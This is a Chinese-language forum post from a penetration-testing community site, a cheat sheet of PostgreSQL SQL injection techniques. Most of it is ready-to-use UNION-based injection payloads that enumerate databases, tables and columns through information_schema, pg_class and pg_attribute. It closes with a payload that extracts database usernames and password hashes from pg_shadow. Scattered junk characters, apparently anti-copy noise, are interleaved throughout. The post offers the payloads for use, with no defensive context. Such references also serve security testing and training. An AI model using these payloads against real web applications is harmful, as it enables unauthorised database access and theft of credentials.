中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点
! l2 U4 T* v1 ^9 Q; f0 ], c

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
$ t8 w3 ^5 s& Z! S/ F6 d% L连接符: %20 , + , /**/

内置函数:! A+ i/ B; s* a! g9 U; s
current_database() //当前数据库名; g& |0 i2 L' K; T- f& H4 j: r$ E$ E
session_user //会话用户
; |: }/ n( a' o4 X. D+ q* Qcurrent_user //当前数据库用户
, _. Y0 O8 g+ ]2 ]( v+ tuser //当前用户9 `$ N7 G+ q9 h0 v* h& B6 u
version() //数据库版本

Union注射:* Q- U6 l  `1 @) B3 [, s8 d+ Z6 X; B
order by n–
+ z1 [+ w( Z1 T; g$ m- D6 {and 1=2 union select null,null,null–
; P& S3 _; V! A$ B& uand 1=2 union select ‘beach’,null,null–" q! z/ ]; X+ g
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
3 n% G0 G, e# A7 `% b1 `: `group_concat(table_name)/ ^6 h) j1 T. ]3 h5 |
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–( I8 d) D- D% \+ j' l: w
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–& k2 k0 M$ k5 E
(老版本). J: \% _  f; |, }8 I, S, D
pg_class.oid对应pg_attribute.attrelid
4 z& s, ]/ B9 m6 apg_class.relname表名
8 C- N+ C+ r" Q# A, c( G, J3 cpg_attribute.attname字段名

select relname from pg_class获取表名
, U7 w4 e. y0 z$ Mselect oid from pg_class where 条件 获取参数
8 V( Q* r' Y' J/ e" ^select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
1 d" V& S( b6 Z- vand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表9 H+ ?5 a) @. R) k+ ^4 ^
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
9 U6 ~) V$ g  A$ I$ }* E由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
0 h6 s. O! V9 L: v! M) h7 F4 I======================================================================
9 @/ ]  x+ Y5 i7 X' D+ p. I, Sand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
/ C* _: |- {: s7 F0 F6 L1 t) G: oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2